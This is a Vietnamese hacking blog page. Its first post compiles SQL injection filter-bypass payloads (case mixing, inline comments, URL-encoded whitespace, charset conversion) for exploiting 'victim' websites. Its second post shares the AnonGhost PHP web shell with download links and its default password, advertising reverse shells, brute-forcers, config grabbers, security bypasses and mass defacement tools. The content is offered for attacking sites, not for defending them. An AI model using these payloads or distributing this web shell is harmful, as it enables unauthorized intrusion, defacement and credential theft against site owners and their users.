Thứ Ba, 17 tháng 3, 2015

Tổng hợp các cách bypass SQLi

Định Nghĩa ByPass SQli
Chào các bạn. Như các bạn đã biết, Khi khai thác SQLi chắc rất nhiều lúc các bạn gặp phải trường hợp tìm thấy site bị SQli rõ ràng, nhưng dùng lệnh order by hay Union select thì không được, Không có hiện tượng gì xảy ra. Không hề hiện như những hướng dẫn SQLi cơ bản các bạn từng đọc. Vậy Chuyện gì đã xảy ra???? Điều xảy ra ở đây là victim của các bạn đã trang bị một Bộ lọc hoặc một firewall, Admin đã lường trước những câu lệnh mà các bạn thực hiện SQLi và tạo ra những rules, Và thế là khi các bạn khai thác SQli những câu lệnh khai thác sẽ không sử dụng được nữa. Vậy chúng ta phải làm gì???? Rất đơn giản, các bạn hãy làm khác đi những câu lệnh đó. Làm sao cho admin không thể lường trước được nhưng những câu lệnh vẫn giữ nguyên bản chất của nó. Đó gọi là bypass SQLi.
VD:
- Khi mình khai thác site A.
http://victimA.com/index.php?id=-3 union select 1,2,3,4,5,6-- -
Thấy trang victim hiện lên số 4 => đã tìm thấy cột bị lỗi,
- Khi Khai thác site B
http://victimB.com/index.php?id=-3 union select 1,2,3,4,5,6-- -
Thấy trang Victim chả hiện gì cả(hoặc là thông báo lỗi) Vậy mình => trang này cần bypass. Và mình thay câu lệnh khai thác trên thành:
http://victimB.com/index.php?id=-3 UNION all /*!50000SELECT*/ 1,2,3,4,5,6-- -
Mình thấy nó hiện số $ => Đã thấy cột bị lỗi.

Kết Luận: Trường hợp khai thác site B chúng ta đã bypass SQli.
Tổng hợp các câu lệnh bypass SQLi
Cách 1: thay ký tự thường bằng ký tự hoa
id=1+UnIoN SeLeCT 1,2,3,4– -
Cách 2: dùng cặp thẻ /*!code*/
id=1+/*!UnIoN*/ /*!SeLeCT*/ 1,2,3,4– -
Cách 3: dùng like thay cho = (khi dấu = bị chặn)
/*!TaBlE_ScHeMa*/+like+database()– -
Cách 4: Lồng Union và select
id=1+UNIunionON+SeLselectECT+1,2,3–
Cách 5 thêm ký tự null hoặc các ký tự đặc biệt vào giữa:
sel%0bect+1,2,3
id=1+uni*on+sel*ect+1,2,3–+
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+’SeL”ECT’
Cách 6: dùng hàm convert():
convert(group_concat(table_name)+using+ascii)
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)
Cách 7: dùng char()
CHAR(117, 115, 101, 114, 115)
Cách 8: show table ẩn:
group_concat(unhex(hex(table_name)))
cách 9: select
UNION all /*!50000SELECT*/
Cách 10 (ít dùng)thêm khoảng trắng tách từ
information_schema. tables thay cho information_schema.tables
Cách 11 Thay các dấu cách bằng ký tự + hoặc mã Hex
.php?id=1+union+select+1,2,3--+
bypass khoảng trắng= %0b Ví dụ:
1'order by 3-- - khi bypass sẽ được:
1'%0border%0bby%0b3--%0b-
Hoặc: Method bypass
union(select(0),version(),(0),(0),(0),(0),( 0),(0),(0)) 
/*!50000union*/+/*!50000select*/ 
UNIunionON+SELselectECT 
+union+distinct+select+ 
+union+distinctROW+select+ 
union+/*!select*/+1,2,3 
union/**/select/**/1,2,3 
uni%20union%20/*!select*/%20 
/**//*!union*//**//*!select*//**/ 
union%23aa%0Aselect 
/**/union/*!50000select*/ 
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/ 
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+ 
id=1+’UnI”On’+'SeL”ECT’ <-MySQL only 
id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
after id no. like id=1 +/*!and*/+1=0

+div+0 
Having+1=0 
+AND+1=0 
+/*!and*/+1=0 
and(1)=(0)
False The Url::

=-id=-1 union all select 
id=null union all select 
id=1+and+false+union+all+select 
id=9999 union all select
Order Bypassing do like this

/*!table_name*/ 
+from /*!information_schema*/./*!tables*/ where table_schema=database() 
unhex(hex(Concat(Column_Name,0x3e ,Table_schema,0x3e,table_Name))) 
/*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%2011 5,%2037)
used with order::

convert()using ascii) 
unhex(hex())
If ascii dont work you could try:

ujis 
ucs2 
tis620 
swe7 
sjis 
macroman 
macce 
latin7 
latin5 
latin2 
koi8u 
koi8r 
keybcs2 
hp8 
geostd8 
gbk 
gb2132 
armscii8 
ascii 
binary 
cp1250 
big5 
cp1251 
cp1256 
cp1257 
cp850 
cp852 
cp866 
cp932 
dec8 
euckr 
latin1 
utf8

Thứ Tư, 11 tháng 3, 2015

Share Shell AnonGhost

Con shell này có khả năng phá bỏ mọi giới hạn bypass chỉ bằng cách click vào click, mình đã thử và thấy nó khá là hay, nhưng có vài tính năng mình chưa thể tìm hiểu hết công dụng của nó, nhờ các cao thủ local cùng mổ sẽ. Điểm đặc biệt là con shell này được share full sỏurce code nên tha hồ cho các bạn chế lại thành của mình và ko sợ bị hàm send mail. Pass : AnonGhost <= bấm Tab để gõ pass nhé, nhớ đổi pass trước khi up shell lên. DOWNLOAD ANONGHOST SHELL 2014
http://www.mediafire.com/download/eaawg3uies3dnsy/AnonGhost.rar
https://gist.github.com/brainlvl/0a9e057699cdbb34b018
 CODE FULL COPY VỀ SAVE PHP FILE NHÉ


Today,we got official permission from anonghost team for releasing their private shell on our website. anonghost shell can byepass all security 2014,it is much usefull for hacking upcoming or 2014 servers. specially coded by mauritania attacker with other anonghost team members.
 LOGIN DETAILS Username: AnonGhost
Password : AnonGhost
 As this shell includes :-
MySQL & PostgreSql Connect
Command Execution
Base64 Command
Config Grabber
Subdomain Checker
Joomla Reverse Server
Wordpress Reverse Server
Find Directory Writable/Readable
Zone-h Notifier
Shtml Command Shell
Back connect Simple
Ruby BackConnect
Perl BackConnect
Python BackConnect
Exploit
Whcms Killer
Webmail Password Changer
Wordpress Csrf Exploit

Symlink Inf


Cms Scanne


Perl based symlink


Manually Retrieve Confi

Enable Symlink If Disable
Python Bypass Forbidden Via TCP Protoco
Symlink Bypass 2014
Skype Brute Force
Cpanel Brute Force
Joomla Brute Force
Wordpress Brute Force
Twitter Brute Force
Gmail & Hotmail Brute Forc4
Ftp Bruteforce

Bypass /etc/passw
Bypass Users Serve
Bypass Perl Securit
Bypass Root Path with Zip Fil
Bypass Root Path with system functio
Bypass Root Path with exec functio
Bypass Root Path with shell_exec functio
Bypass posix_getpwui
Bypass PHP Suhosin function blacklis
Bypass Functions suPHP_ConfigPat
Bypass suPHP Securit
Simple Bypasse
Read File
Bypass Chmod Director
Bypass Forbidden 201
Bypass SafeMode 2014 Priv8

Mass Deface Dir
Mass Change Admin Jooml
Mass Change Admin vBulleti
Mass Change Admin Mass WordPres
Wordpress & Joomla Mass Defac
Wordpress Hijack Index Priv
Joomla Index Change
Wordpress Index Change
Cpanel & Ftp Auto Defacer

Bypass Server Security Function
Test Permissio
Server Infos
How To Login Shell


Link: https://drive.google.com/file/d/0B7I9OxowZUZEM2hSbW5EcnpqVkU/view
nguồn: ceh.vn

Chủ Nhật, 1 tháng 3, 2015

Hướng Dẫn Deface Website (DNS Hijacking)

Hướng dẫn khai thác SQL Injection cơ bản